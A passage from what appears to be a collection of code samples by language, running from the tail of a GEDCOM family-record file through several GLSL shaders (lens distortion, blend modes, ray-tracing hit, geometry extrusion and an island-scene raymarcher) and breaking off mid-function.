FAM\n1 HUSB @I205@\n1 WIFE @I2910@\n1 MARR\n2 DATE        1816\n0 @F1371@ FAM\n1 HUSB @I2911@\n1 WIFE @I2912@\n1 CHIL @I349@\n1 MARR\n2 DATE        1777\n0 @F1372@ FAM\n1 HUSB @I590@\n1 WIFE @I2914@\n1 CHIL @I2915@\n0 @F1373@ FAM\n1 HUSB @I751@\n1 WIFE @I2916@\n1 CHIL @I2517@\n1 CHIL @I2917@\n0 @F1374@ FAM\n1 HUSB @I2918@\n1 WIFE @I2917@\n0 @F1375@ FAM\n1 HUSB @I2507@\n1 WIFE @I2921@\n0 @F1376@ FAM\n1 HUSB @I2922@\n1 CHIL @I2661@\n0 @F1377@ FAM\n1 HUSB @I2923@\n1 CHIL @I2664@\n0 @F1378@ FAM\n1 HUSB @I2924@\n1 CHIL @I2659@\n0 @F1379@ FAM\n1 HUSB @I159@\n1 WIFE @I2925@\n1 MARR\n2 DATE        1919\n0 @F1380@ FAM\n1 HUSB @I2926@\n1 CHIL @I161@\n0 @F1381@ FAM\n1 HUSB @I588@\n1 WIFE @I235@\n1 MARR\n2 DATE        1934\n0 @F1382@ FAM\n1 HUSB @I2927@\n1 CHIL @I1356@\n0 @F1383@ FAM\n1 HUSB @I2928@\n1 CHIL @I1406@\n0 @F1384@ FAM\n1 HUSB @I169@\n1 WIFE @I2929@\n1 CHIL @I2930@\n1 CHIL @I2931@\n1 CHIL @I2932@\n0 @F1385@ FAM\n1 HUSB @I2933@\n1 CHIL @I821@\n0 @F1386@ FAM\n1 HUSB @I2934@\n1 WIFE @I2935@\n1 CHIL @I2933@\n0 @F1387@ FAM\n1 HUSB @I2936@\n1 WIFE @I2937@\n1 CHIL @I820@\n0 @F1388@ FAM\n1 HUSB @I2938@\n1 WIFE @I2939@\n1 CHIL @I2937@\n0 @F1389@ FAM\n1 HUSB @I2940@\n1 WIFE @I2941@\n1 CHIL @I2939@\n0 @F1390@ FAM\n1 HUSB @I2942@\n1 CHIL @I2943@\n1 CHIL @I2941@\n0 @F1391@ FAM\n1 HUSB @I2943@\n1 CHIL @I2944@\n0 @F1392@ FAM\n1 HUSB @I2944@\n1 WIFE @I2945@\n1 CHIL @I2946@\n0 @F1393@ FAM\n1 HUSB @I2946@\n1 CHIL @I812@\n0 @F1394@ FAM\n1 HUSB @I2948@\n1 CHIL @I2947@\n0 @F1395@ FAM\n1 HUSB @I2949@\n1 CHIL @I2948@\n0 @F1396@ FAM\n1 HUSB @I2950@\n1 CHIL @I2942@\n0 @F1397@ FAM\n1 HUSB @I2951@\n1 CHIL @I2950@\n0 @F1398@ FAM\n1 HUSB @I2952@\n1 CHIL @I2951@\n0 @F1399@ FAM\n1 HUSB @I2953@\n1 CHIL @I2935@\n0 @F1400@ FAM\n1 HUSB @I2954@\n1 WIFE @I2955@\n1 CHIL @I2953@\n0 @F1401@ FAM\n1 HUSB @I2956@\n1 CHIL @I2955@\n0 @F1402@ FAM\n1 HUSB @I2960@\n1 WIFE @I110@\n1 CHIL @I2961@\n1 MARR\n2 DATE    FEB 1990\n0 @F1403@ FAM\n1 HUSB @I242@\n1 WIFE @I2962@\n1 CHIL @I2963@\n1 MARR\n2 DATE ABT    1990\n0 @F1404@ FAM\n1 HUSB @I2965@\n1 WIFE @I2964@\n1 CHIL @I2966@\n0 @F1405@ FAM\n1 HUSB @I2968@\n1 CHIL @I62@\n0 @F1406@ FAM\n1 HUSB @I112@\n1 WIFE @I2969@\n1 MARR\n2 DATE    JAN 1988\n0 @F1407@ FAM\n1 HUSB @I2970@\n1 WIFE @I2969@\n1 DIV Y\n0 @F1408@ FAM\n1 HUSB @I2971@\n1 WIFE @I2972@\n1 CHIL @I2969@\n1 DIV Y\n0 @F1409@ FAM\n1 HUSB @I2976@\n1 WIFE @I138@\n1 MARR\n2 DATE ABT    1802\n0 @F1410@ FAM\n1 HUSB @I54@\n1 WIFE @I2977@\n1 CHIL @I2978@\n1 MARR\n2 DATE 17 DEC 1978\n0 @F1411@ FAM\n1 HUSB @I109@\n1 WIFE @I2979@\n1 MARR\n2 DATE AFT    1989\n0 @F1412@ FAM\n1 HUSB @I2980@\n1 WIFE @I314@\n1 CHIL @I2981@\n0 @F1413@ FAM\n1 HUSB @I2982@\n1 WIFE @I2983@\n1 CHIL @I292@\n0 @F1414@ FAM\n1 HUSB @I2985@\n1 WIFE @I243@\n1 CHIL @I2990@\n1 CHIL @I2991@\n1 CHIL @I2992@\n1 CHIL @I2993@\n1 DIV Y\n1 MARR\n2 DATE ABT    1947\n0 @F1415@ FAM\n1 HUSB @I2986@\n1 WIFE @I806@\n1 CHIL @I2989@\n1 CHIL @I3010@\n1 MARR\n2 DATE 28 DEC 1936\n2 PLAC Guildhall,London,England\n0 @F1416@ FAM\n1 HUSB @I2987@\n1 WIFE @I2988@\n1 CHIL @I2986@\n0 @F1417@ FAM\n1 HUSB @I2994@\n1 CHIL @I2985@\n0 @F1418@ FAM\n1 HUSB @I2995@\n1 WIFE @I2996@\n1 CHIL @I806@\n1 CHIL @I2997@\n1 CHIL @I3009@\n1 CHIL @I2998@\n1 MARR\n2 DATE    JUL 1900\n0 @F1419@ FAM\n1 HUSB @I3002@\n1 WIFE @I2999@\n1 CHIL @I3003@\n1 CHIL @I3004@\n1 CHIL @I3005@\n1 CHIL @I2996@\n1 CHIL @I3006@\n0 @F1420@ FAM\n1 WIFE @I3000@\n1 CHIL @I2999@\n0 @F1421@ FAM\n1 HUSB @I3001@\n1 CHIL @I3000@\n0 @F1422@ FAM\n1 HUSB @I3007@\n1 WIFE @I3008@\n1 CHIL @I2995@\n0 TRLR"
  },
  {
    "path": "samples/GLSL/SimpleLighting.gl2.frag",
    "content": "static const char* SimpleFragmentShader = STRINGIFY(\n\nvarying vec4 FrontColor;\n\nvoid main(void)\n{\n    gl_FragColor = FrontColor;\n}\n);\n"
  },
  {
    "path": "samples/GLSL/SyLens.glsl",
    "content": "#version 120\n\n/*\n  Original Lens Distortion Algorithm from SSontech (Syntheyes)\n  http://www.ssontech.com/content/lensalg.htm\n  \n  r2 is radius squared.\n  \n  r2 = image_aspect*image_aspect*u*u + v*v\n  f = 1 + r2*(k + kcube*sqrt(r2))\n  u' = f*u\n  v' = f*v\n\n*/\n\n// Controls\nuniform float kCoeff, kCube, uShift, vShift;\nuniform float chroma_red, chroma_green, chroma_blue;\nuniform bool apply_disto;\n\n// Uniform inputs\nuniform sampler2D input1;\nuniform float adsk_input1_w, adsk_input1_h, adsk_input1_aspect, adsk_input1_frameratio;\nuniform float adsk_result_w, adsk_result_h;\n\nfloat distortion_f(float r) {\n    float f = 1 + (r*r)*(kCoeff + kCube * r);\n    return f;\n}\n\n\nfloat inverse_f(float r)\n{\n    \n    // Build a lookup table on the radius, as a fixed-size table.\n    // We will use a vec3 since we will store the multipled number in the Z coordinate.\n    // So to recap: x will be the radius, y will be the f(x) distortion, and Z will be x * y;\n    vec3[48] lut;\n    \n    // Since out LUT is shader-global check if it's been computed alrite\n    // Flame has no overflow bbox so we can safely max out at the image edge, plus some cushion\n    float max_r = sqrt((adsk_input1_frameratio * adsk_input1_frameratio) + 1) + 0.1;\n    float incr = max_r / 48;\n    float lut_r = 0;\n    float f;\n    for(int i=0; i < 48; i++) {\n        f = distortion_f(lut_r);\n        lut[i] = vec3(lut_r, f, lut_r * f);\n        lut_r += incr;\n    }\n    \n    float t;\n    // Now find the nehgbouring elements\n    // only iterate to 46 since we will need\n    // 47 as i+1\n    for(int i=0; i < 47; i++) {\n        if(lut[i].z < r && lut[i+1].z > r) {\n            // BAM! our value is between these two segments\n            // get the T interpolant and mix\n            t = (r - lut[i].z) / (lut[i+1].z - lut[i]).z;\n            return mix(lut[i].y, lut[i+1].y, t );\n        }\n    }\n}\n\nfloat aberrate(float f, float chroma)\n{\n   return f + (f * chroma);\n}\n\nvec3 chromaticize_and_invert(float f)\n{\n   vec3 rgb_f = vec3(aberrate(f, chroma_red), aberrate(f, chroma_green), aberrate(f, chroma_blue));\n   // We need to DIVIDE by F when we redistort, and x / y == x * (1 / y)\n   if(apply_disto) {\n      rgb_f = 1 / rgb_f;\n   }\n   return rgb_f;\n}\n\nvoid main(void)\n{\n   vec2 px, uv;\n   float f = 1;\n   float r = 1;\n   \n   px = gl_FragCoord.xy;\n   \n   // Make sure we are still centered\n   px.x -= (adsk_result_w - adsk_input1_w) / 2;\n   px.y -= (adsk_result_h - adsk_input1_h) / 2;\n   \n   // Push the destination coordinates into the [0..1] range\n   uv.x = px.x / adsk_input1_w;\n   uv.y = px.y / adsk_input1_h;\n   \n       \n   // And to Syntheyes UV which are [1..-1] on both X and Y\n   uv.x = (uv.x *2 ) - 1;\n   uv.y = (uv.y *2 ) - 1;\n   \n   // Add UV shifts\n   uv.x += uShift;\n   uv.y += vShift;\n   \n   // Make the X value the aspect value, so that the X coordinates go to [-aspect..aspect]\n   uv.x = uv.x * adsk_input1_frameratio;\n   \n   // Compute the radius\n   r = sqrt(uv.x*uv.x + uv.y*uv.y);\n   \n   // If we are redistorting, account for the oversize plate in the input, assume that\n   // the input aspect is the same\n   if(apply_disto) {\n       r = r / (float(adsk_input1_w) / float(adsk_result_w));\n   }\n   \n   // Apply or remove disto, per channel honoring chromatic aberration\n   if(apply_disto) {\n      f = inverse_f(r);\n   } else {\n      f = distortion_f(r);\n   }\n   \n   vec2[3] rgb_uvs = vec2[](uv, uv, uv);\n   \n   // Compute distortions per component\n   vec3 rgb_f = chromaticize_and_invert(f);\n   \n   // Apply the disto coefficients, per component\n   rgb_uvs[0] = rgb_uvs[0] * rgb_f.rr;\n   rgb_uvs[1] = rgb_uvs[1] * rgb_f.gg;\n   rgb_uvs[2] = rgb_uvs[2] * rgb_f.bb;\n   \n   // Convert all the UVs back to the texture space, per color component\n   for(int i=0; i < 3; i++) {\n       uv = rgb_uvs[i];\n       \n       // Back from [-aspect..aspect] to [-1..1]\n       uv.x = uv.x / adsk_input1_frameratio;\n       \n       // Remove UV shifts\n       uv.x -= uShift;\n       uv.y -= vShift;\n       \n       // Back to OGL UV\n       uv.x = (uv.x + 1) / 2;\n       uv.y = (uv.y + 1) / 2;\n       \n       rgb_uvs[i] = uv;\n   }\n   \n   // Sample the input plate, per component\n   vec4 sampled;\n   sampled.r = texture2D(input1, rgb_uvs[0]).r;\n   sampled.g = texture2D(input1, rgb_uvs[1]).g;\n   sampled.b = texture2D(input1, rgb_uvs[2]).b;\n   \n   // and assign to the output\n   gl_FragColor.rgba = vec4(sampled.rgb, 1.0 );\n}"
  },
  {
    "path": "samples/GLSL/SyLens.shader",
    "content": "#version 120\n\n/*\n  Original Lens Distortion Algorithm from SSontech (Syntheyes)\n  http://www.ssontech.com/content/lensalg.htm\n  \n  r2 is radius squared.\n  \n  r2 = image_aspect*image_aspect*u*u + v*v\n  f = 1 + r2*(k + kcube*sqrt(r2))\n  u' = f*u\n  v' = f*v\n\n*/\n\n// Controls\nuniform float kCoeff, kCube, uShift, vShift;\nuniform float chroma_red, chroma_green, chroma_blue;\nuniform bool apply_disto;\n\n// Uniform inputs\nuniform sampler2D input1;\nuniform float adsk_input1_w, adsk_input1_h, adsk_input1_aspect, adsk_input1_frameratio;\nuniform float adsk_result_w, adsk_result_h;\n\nfloat distortion_f(float r) {\n    float f = 1 + (r*r)*(kCoeff + kCube * r);\n    return f;\n}\n\n\nfloat inverse_f(float r)\n{\n    \n    // Build a lookup table on the radius, as a fixed-size table.\n    // We will use a vec3 since we will store the multipled number in the Z coordinate.\n    // So to recap: x will be the radius, y will be the f(x) distortion, and Z will be x * y;\n    vec3[48] lut;\n    \n    // Since out LUT is shader-global check if it's been computed alrite\n    // Flame has no overflow bbox so we can safely max out at the image edge, plus some cushion\n    float max_r = sqrt((adsk_input1_frameratio * adsk_input1_frameratio) + 1) + 0.1;\n    float incr = max_r / 48;\n    float lut_r = 0;\n    float f;\n    for(int i=0; i < 48; i++) {\n        f = distortion_f(lut_r);\n        lut[i] = vec3(lut_r, f, lut_r * f);\n        lut_r += incr;\n    }\n    \n    float t;\n    // Now find the nehgbouring elements\n    // only iterate to 46 since we will need\n    // 47 as i+1\n    for(int i=0; i < 47; i++) {\n        if(lut[i].z < r && lut[i+1].z > r) {\n            // BAM! our value is between these two segments\n            // get the T interpolant and mix\n            t = (r - lut[i].z) / (lut[i+1].z - lut[i]).z;\n            return mix(lut[i].y, lut[i+1].y, t );\n        }\n    }\n}\n\nfloat aberrate(float f, float chroma)\n{\n   return f + (f * chroma);\n}\n\nvec3 chromaticize_and_invert(float f)\n{\n   vec3 rgb_f = vec3(aberrate(f, chroma_red), aberrate(f, chroma_green), aberrate(f, chroma_blue));\n   // We need to DIVIDE by F when we redistort, and x / y == x * (1 / y)\n   if(apply_disto) {\n      rgb_f = 1 / rgb_f;\n   }\n   return rgb_f;\n}\n\nvoid main(void)\n{\n   vec2 px, uv;\n   float f = 1;\n   float r = 1;\n   \n   px = gl_FragCoord.xy;\n   \n   // Make sure we are still centered\n   px.x -= (adsk_result_w - adsk_input1_w) / 2;\n   px.y -= (adsk_result_h - adsk_input1_h) / 2;\n   \n   // Push the destination coordinates into the [0..1] range\n   uv.x = px.x / adsk_input1_w;\n   uv.y = px.y / adsk_input1_h;\n   \n       \n   // And to Syntheyes UV which are [1..-1] on both X and Y\n   uv.x = (uv.x *2 ) - 1;\n   uv.y = (uv.y *2 ) - 1;\n   \n   // Add UV shifts\n   uv.x += uShift;\n   uv.y += vShift;\n   \n   // Make the X value the aspect value, so that the X coordinates go to [-aspect..aspect]\n   uv.x = uv.x * adsk_input1_frameratio;\n   \n   // Compute the radius\n   r = sqrt(uv.x*uv.x + uv.y*uv.y);\n   \n   // If we are redistorting, account for the oversize plate in the input, assume that\n   // the input aspect is the same\n   if(apply_disto) {\n       r = r / (float(adsk_input1_w) / float(adsk_result_w));\n   }\n   \n   // Apply or remove disto, per channel honoring chromatic aberration\n   if(apply_disto) {\n      f = inverse_f(r);\n   } else {\n      f = distortion_f(r);\n   }\n   \n   vec2[3] rgb_uvs = vec2[](uv, uv, uv);\n   \n   // Compute distortions per component\n   vec3 rgb_f = chromaticize_and_invert(f);\n   \n   // Apply the disto coefficients, per component\n   rgb_uvs[0] = rgb_uvs[0] * rgb_f.rr;\n   rgb_uvs[1] = rgb_uvs[1] * rgb_f.gg;\n   rgb_uvs[2] = rgb_uvs[2] * rgb_f.bb;\n   \n   // Convert all the UVs back to the texture space, per color component\n   for(int i=0; i < 3; i++) {\n       uv = rgb_uvs[i];\n       \n       // Back from [-aspect..aspect] to [-1..1]\n       uv.x = uv.x / adsk_input1_frameratio;\n       \n       // Remove UV shifts\n       uv.x -= uShift;\n       uv.y -= vShift;\n       \n       // Back to OGL UV\n       uv.x = (uv.x + 1) / 2;\n       uv.y = (uv.y + 1) / 2;\n       \n       rgb_uvs[i] = uv;\n   }\n   \n   // Sample the input plate, per component\n   vec4 sampled;\n   sampled.r = texture2D(input1, rgb_uvs[0]).r;\n   sampled.g = texture2D(input1, rgb_uvs[1]).g;\n   sampled.b = texture2D(input1, rgb_uvs[2]).b;\n   \n   // and assign to the output\n   gl_FragColor.rgba = vec4(sampled.rgb, 1.0 );\n}"
  },
  {
    "path": "samples/GLSL/blend_120.glslf",
    "content": "#version 120\n\n#define SCREEN 0\n#define DODGE 1\n#define BURN 2\n#define OVERLAY 3\n#define MULTIPLY 4\n#define ADD 5\n#define DIVIDE 6\n#define GRAIN_EXTRACT 7\n#define GRAIN_MERGE 8\n\n// grayscale\nuniform sampler2D t_Lena;\n// rgba\nuniform sampler2D t_Tint;\n\nuniform int i_Blend;\n\nvarying vec2 v_Uv;\n\nvoid main() {\n    // we sample from both textures using the same uv coordinates. since our\n    // lena image is grayscale, we only get the first component.\n    vec3 lena = vec3(texture2D(t_Lena, v_Uv).r);\n    vec3 tint = texture2D(t_Tint, v_Uv).rgb;\n   \n    vec3 result = vec3(0.0);\n\n    // normally you'd have a shader program per technique, but for the sake of\n    // simplicity we'll just branch on it here.\n    if (i_Blend == SCREEN) {\n        result = vec3(1.0) - ((vec3(1.0) - lena) * (vec3(1.0) - tint));\n    } else if (i_Blend == DODGE) {\n        result = lena / (vec3(1.0) - tint);\n    } else if (i_Blend == BURN) {\n        result = vec3(1.0) - ((vec3(1.0) - lena) / lena);\n    } else if (i_Blend == OVERLAY) {\n        result = lena * (lena + (tint * 2) * (vec3(1.0) - lena));\n    } else if (i_Blend == MULTIPLY) {\n        result = lena * tint;\n    } else if (i_Blend == ADD) {\n        result = lena + tint;\n    } else if (i_Blend == DIVIDE) {\n        result = lena / tint;\n    } else if (i_Blend == GRAIN_EXTRACT) {\n        result = lena - tint + 0.5;\n    } else if (i_Blend == GRAIN_MERGE) {\n        result = lena + tint - 0.5;\n    }\n\n    gl_FragColor = vec4(result, 1.0);\n}\n"
  },
  {
    "path": "samples/GLSL/closesthit.rchit",
    "content": "#version 460\n#extension GL_EXT_ray_tracing : require\n#extension GL_EXT_nonuniform_qualifier : enable\n\nstruct RayPayload {\n\tvec3 color;\n\tfloat distance;\n\tvec3 normal;\n\tfloat reflector;\n};\n\nlayout(location = 0) rayPayloadInEXT RayPayload rayPayload;\n\nhitAttributeEXT vec3 attribs;\n\nlayout(binding = 0, set = 0) uniform accelerationStructureEXT topLevelAS;\nlayout(binding = 2, set = 0) uniform UBO\n{\n\tmat4 viewInverse;\n\tmat4 projInverse;\n\tvec4 lightPos;\n\tint vertexSize;\n} ubo;\nlayout(binding = 3, set = 0) buffer Vertices { vec4 v[]; } vertices;\nlayout(binding = 4, set = 0) buffer Indices { uint i[]; } indices;\n\nstruct Vertex\n{\n  vec3 pos;\n  vec3 normal;\n  vec2 uv;\n  vec4 color;\n  vec4 _pad0;\n  vec4 _pad1;\n};\n\nVertex unpack(uint index)\n{\n\t// Unpack the vertices from the SSBO using the glTF vertex structure\n\t// The multiplier is the size of the vertex divided by four float components (=16 bytes)\n\tconst int m = ubo.vertexSize / 16;\n\n\tvec4 d0 = vertices.v[m * index + 0];\n\tvec4 d1 = vertices.v[m * index + 1];\n\tvec4 d2 = vertices.v[m * index + 2];\n\n\tVertex v;\n\tv.pos = d0.xyz;\n\tv.normal = vec3(d0.w, d1.x, d1.y);\n\tv.color = vec4(d2.x, d2.y, d2.z, 1.0);\n\n\treturn v;\n}\n\nvoid main()\n{\n\tivec3 index = ivec3(indices.i[3 * gl_PrimitiveID], indices.i[3 * gl_PrimitiveID + 1], indices.i[3 * gl_PrimitiveID + 2]);\n\n\tVertex v0 = unpack(index.x);\n\tVertex v1 = unpack(index.y);\n\tVertex v2 = unpack(index.z);\n\n\t// Interpolate normal\n\tconst vec3 barycentricCoords = vec3(1.0f - attribs.x - attribs.y, attribs.x, attribs.y);\n\tvec3 normal = normalize(v0.normal * barycentricCoords.x + v1.normal * barycentricCoords.y + v2.normal * barycentricCoords.z);\n\n\t// Basic lighting\n\tvec3 lightVector = normalize(ubo.lightPos.xyz);\n\tfloat dot_product = max(dot(lightVector, normal), 0.6);\n\trayPayload.color = v0.color.rgb * vec3(dot_product);\n\trayPayload.distance = gl_RayTmaxEXT;\n\trayPayload.normal = normal;\n\n\t// Objects with full white vertex color are treated as reflectors\n\trayPayload.reflector = ((v0.color.r == 1.0f) && (v0.color.g == 1.0f) && (v0.color.b == 1.0f)) ? 1.0f : 0.0f;\n}\n"
  },
  {
    "path": "samples/GLSL/extrude_normals.gs",
    "content": "#version 330 core\nlayout(triangles) in;\nlayout (line_strip, max_vertices = 6) out;\n\nin VS_OUT\n{\n   vec3 normal;\n}gs_in[];\n\nconst float MAGNITUDE = 0.025f;\n\nvoid GenerateLine(int index)\n{\n    gl_Position = gl_in[index].gl_Position;\n    EmitVertex();\n    gl_Position = gl_in[index].gl_Position + vec4(gs_in[index].normal, 0.0f) * MAGNITUDE;\n    EmitVertex();\n    EndPrimitive();\n}\n\nvoid main()\n{\n   GenerateLine(0);\n   GenerateLine(1);\n   GenerateLine(2);\n}\n\n"
  },
  {
    "path": "samples/GLSL/gbuffers_textured_lit.fsh",
    "content": "#version 120\n\nuniform sampler2D texture;\n\nvarying vec3 color;\nvarying vec2 texcoord;\n\nvec4 GetDiffuse() {\n\tvec4 diffuse = vec4(color.rgb, 1.0);\n\t     diffuse *= texture2D(texture, texcoord);\n\t\n\treturn diffuse;\n}\n\n\nvoid main() {\n\tvec4 diffuse = GetDiffuse();\n\t\n\tgl_FragData[0] = diffuse;\n}"
  },
  {
    "path": "samples/GLSL/gbuffers_textured_lit.vsh",
    "content": "#version 120\n\nvarying vec3 color;\nvarying vec2 texcoord;\n\nvoid main() {\n\tcolor    = gl_Color.rgb;\n\ttexcoord = gl_MultiTexCoord0.st;\n\t\n\tgl_Position = ftransform();\n}"
  },
  {
    "path": "samples/GLSL/islandScene.glsl",
    "content": "//// High quality (Some browsers may freeze or crash)\n//#define HIGHQUALITY\n\n//// Medium quality (Should be fine on all systems, works on Intel HD2000 on Win7 but quite slow)\n//#define MEDIUMQUALITY\n\n//// Defaults\n//#define REFLECTIONS\n#define SHADOWS\n//#define GRASS\n//#define SMALL_WAVES\n#define RAGGED_LEAVES\n//#define DETAILED_NOISE\n//#define LIGHT_AA // 2 sample SSAA\n//#define HEAVY_AA // 2x2 RG SSAA\n//#define TONEMAP\n\n//// Configurations\n#ifdef MEDIUMQUALITY\n\t#define SHADOWS\n\t#define SMALL_WAVES\n\t#define RAGGED_LEAVES\n\t#define TONEMAP\n#endif\n\n#ifdef HIGHQUALITY\n\t#define REFLECTIONS\n\t#define SHADOWS\n\t//#define GRASS\n\t#define SMALL_WAVES\n\t#define RAGGED_LEAVES\n\t#define DETAILED_NOISE\n\t#define LIGHT_AA\n\t#define TONEMAP\n#endif\n\n// Constants\nconst float eps = 1e-5;\nconst float PI = 3.14159265359;\n\nconst vec3 sunDir = vec3(0.79057,-0.47434, 0.0);\nconst vec3 skyCol = vec3(0.3, 0.5, 0.8);\nconst vec3 sandCol = vec3(0.9, 0.8, 0.5);\nconst vec3 treeCol = vec3(0.8, 0.65, 0.3);\nconst vec3 grassCol = vec3(0.4, 0.5, 0.18);\nconst vec3 leavesCol = vec3(0.3, 0.6, 0.2);\nconst vec3 leavesPos = vec3(-5.1,13.4, 0.0);\n\n#ifdef TONEMAP\nconst vec3 sunCol = vec3(1.8, 1.7, 1.6);\n#else\nconst vec3 sunCol = vec3(0.9, 0.85, 0.8);\n#endif\n\nconst float exposure = 1.1; // Only used when tonemapping\n\n// Description : Array and textureless GLSL 2D/3D/4D simplex\n// noise functions.\n// Author : Ian McEwan, Ashima Arts.\n// License : Copyright (C) 2011 Ashima Arts. All rights reserved.\n// Distributed under the MIT License. See LICENSE file.\n// https://github.com/ashima/webgl-noise\nvec3 mod289(vec3 x) {\n  return x - floor(x * (1.0 / 289.0)) * 289.0;\n}\n\nvec4 mod289(vec4 x) {\n  return x - floor(x * (1.0 / 289.0)) * 289.0;\n}\n\nvec4 permute(vec4 x) {\n     return mod289(((x*34.0)+1.0)*x);\n}\n\nvec4 taylorInvSqrt(vec4 r) {\n  return 1.79284291400159 - 0.85373472095314 * r;\n}\n\nfloat snoise(vec3 v) {\n  const vec2 C = vec2(1.0/6.0, 1.0/3.0) ;\n  const vec4 D = vec4(0.0, 0.5, 1.0, 2.0);\n\n// First corner\n  vec3 i = floor(v + dot(v, C.yyy) );\n  vec3 x0 = v - i + dot(i, C.xxx) ;\n\n// Other corners\n  vec3 g = step(x0.yzx, x0.xyz);\n  vec3 l = 1.0 - g;\n  vec3 i1 = min( g.xyz, l.zxy );\n  vec3 i2 = max( g.xyz, l.zxy );\n\n  // x0 = x0 - 0.0 + 0.0 * C.xxx;\n  // x1 = x0 - i1 + 1.0 * C.xxx;\n  // x2 = x0 - i2 + 2.0 * C.xxx;\n  // x3 = x0 - 1.0 + 3.0 * C.xxx;\n  vec3 x1 = x0 - i1 + C.xxx;\n  vec3 x2 = x0 - i2 + C.yyy; // 2.0*C.x = 1/3 = C.y\n  vec3 x3 = x0 - D.yyy; // -1.0+3.0*C.x = -0.5 = -D.y\n\n// Permutations\n  i = mod289(i);\n  vec4 p = permute( permute( permute(\n             i.z + vec4(0.0, i1.z, i2.z, 1.0 ))\n           + i.y + vec4(0.0, i1.y, i2.y, 1.0 ))\n           + i.x + vec4(0.0, i1.x, i2.x, 1.0 ));\n\n// Gradients: 7x7 points over a square, mapped onto an octahedron.\n// The ring size 17*17 = 289 is close to a multiple of 49 (49*6 = 294)\n  float n_ = 0.142857142857; // 1.0/7.0\n  vec3 ns = n_ * D.wyz - D.xzx;\n\n  vec4 j = p - 49.0 * floor(p * ns.z * ns.z); // mod(p,7*7)\n\n  vec4 x_ = floor(j * ns.z);\n  vec4 y_ = floor(j - 7.0 * x_ ); // mod(j,N)\n\n  vec4 x = x_ *ns.x + ns.yyyy;\n  vec4 y = y_ *ns.x + ns.yyyy;\n  vec4 h = 1.0 - abs(x) - abs(y);\n\n  vec4 b0 = vec4( x.xy, y.xy );\n  vec4 b1 = vec4( x.zw, y.zw );\n\n  //vec4 s0 = vec4(lessThan(b0,0.0))*2.0 - 1.0;\n  //vec4 s1 = vec4(lessThan(b1,0.0))*2.0 - 1.0;\n  vec4 s0 = floor(b0)*2.0 + 1.0;\n  vec4 s1 = floor(b1)*2.0 + 1.0;\n  vec4 sh = -step(h, vec4(0.0));\n\n  vec4 a0 = b0.xzyw + s0.xzyw*sh.xxyy ;\n  vec4 a1 = b1.xzyw + s1.xzyw*sh.zzww ;\n\n  vec3 p0 = vec3(a0.xy,h.x);\n  vec3 p1 = vec3(a0.zw,h.y);\n  vec3 p2 = vec3(a1.xy,h.z);\n  vec3 p3 = vec3(a1.zw,h.w);\n\n//Normalise gradients\n  vec4 norm = taylorInvSqrt(vec4(dot(p0,p0), dot(p1,p1), dot(p2, p2), dot(p3,p3)));\n  p0 *= norm.x;\n  p1 *= norm.y;\n  p2 *= norm.z;\n  p3 *= norm.w;\n\n// Mix final noise value\n  vec4 m = max(0.6 - vec4(dot(x0,x0), dot(x1,x1), dot(x2,x2), dot(x3,x3)), 0.0);\n  m = m * m;\n  return 42.0 * dot( m*m, vec4( dot(p0,x0), dot(p1,x1),\n                                dot(p2,x2), dot(p3,x3) ) );\n}\n\n\n\n// Main\nfloat fbm(vec3 p)\n{\n\tfloat final = snoise(p); \n\tp *= 1.94; final += snoise(p) * 0.5;\n\t#ifdef DETAILED_NOISE\n\tp *= 3.75; final += snoise(p) * 0.25;\n\treturn final / 1.75;\n\t#else\n\treturn final / 1.5;\n\t#endif\n}\n\nfloat waterHeight(vec3 p)\n{\n\tfloat d = length(p.xz);\n\tfloat h = sin(d * 1.5 + iGlobalTime * 3.0) * 12.0 / d; // Island waves\n\t#ifdef SMALL_WAVES\n\th += fbm(p*0.5); // Other waves\n\t#endif\n\treturn h;\n}\n\nvec3 bump(vec3 pos, vec3 rayDir)\n{\n\tfloat s = 2.0;\n\t\n\t// Fade out waves to reduce aliasing\n\tfloat dist = dot(pos, rayDir);\n\ts *= dist < 2.0 ? 1.0 : 1.4142 / sqrt(dist);\n\t\n\t// Calculate normal from heightmap\n\tvec2 e = vec2(1e-2, 0.0);\n\tvec3 p = vec3(pos.x, iGlobalTime*0.5, pos.z)*0.7;\n\tfloat m = waterHeight(p)*s;\n\treturn normalize(vec3(\n\t\twaterHeight(p+e.xyy)*s-m,\n\t\t1.0,\n\t\twaterHeight(p+e.yxy)*s-m\n\t));\n}\n\n// Ray intersections\nvec4 intersectSphere(vec3 rpos, vec3 rdir, vec3 pos, float rad)\n{\n\tvec3 op = pos - rpos;\n\tfloat b = dot(op, rdir); \n\tfloat det = b*b - dot(op, op) + rad*rad; \n\t\t\n\tif (det > 0.0)\n\t{\n\t\tdet = sqrt(det);\n\t\tfloat t = b - det;\n\t\tif (t > eps)\n\t\t\treturn vec4(-normalize(rpos+rdir*t-pos), t);\n\t}\n\t\n\treturn vec4(0.0);\n}\n\nvec4 intersectCylinder(vec3 rpos, vec3 rdir, vec3 pos, float rad)\n{\n\tvec3 op = pos - rpos;\n\tvec2 rdir2 = normalize(rdir.yz);\n\tfloat b = dot(op.yz, rdir2);\n\tfloat det = b*b - dot(op.yz, op.yz) + rad*rad; \n\t\n\tif (det > 0.0)\n\t{\n\t\tdet = sqrt(det);\n\t\tfloat t = b - det;\n\t\tif (t > eps)\n\t\t\treturn vec4(-normalize(rpos.yz+rdir2*t-pos.yz), 0.0, t);\n\t\tt = b + det;\n\t\tif (t > eps)\n\t\t\treturn vec4(-normalize(rpos.yz+rdir2*t-pos.yz), 0.0, t);\n\t}\n\t\n\treturn vec4(0.0);\n}\n\nvec4 intersectPlane(vec3 rayPos, vec3 rayDir, vec3 n, float d)\n{\n\tfloat t = -(dot(rayPos, n) + d) / dot(rayDir, n);\n\treturn vec4(n * sign(dot(rayDir, n)), t);\n}\n\n// Helper functions\nvec3 rotate(vec3 p, float theta)\n{\n\tfloat c = cos(theta), s = sin(theta);\n\treturn vec3(p.x * c + p.z * s, p.y,\n\t\t\t\tp.z * c - p.x * s);\n}\n\nfloat impulse(float k, float x) // by iq\n{\n    float h = k*x;\n    return h * exp(1.0 - h);\n}\n\n// Raymarched parts of scene\nfloat grass(vec3 pos)\n{\n\tfloat h = length(pos - vec3(0.0, -7.0, 0.0)) - 8.0;\n\t\n\tif (h > 2.0) return h; // Optimization (Avoid noise if too far away)\n\t\n\treturn h + snoise(pos * 3.0) * 0.1 + pos.y * 0.9;\n}\n\nfloat tree(vec3 pos)\n{\n\tpos.y -= 0.5;\n\tfloat s = sin(pos.y*0.03);\n\tfloat c = cos(pos.y*0.03);\n\tmat2 m = mat2(c, -s, s, c);\n\tvec3 p = vec3(m*pos.xy, pos.z);\n\t\n\tfloat 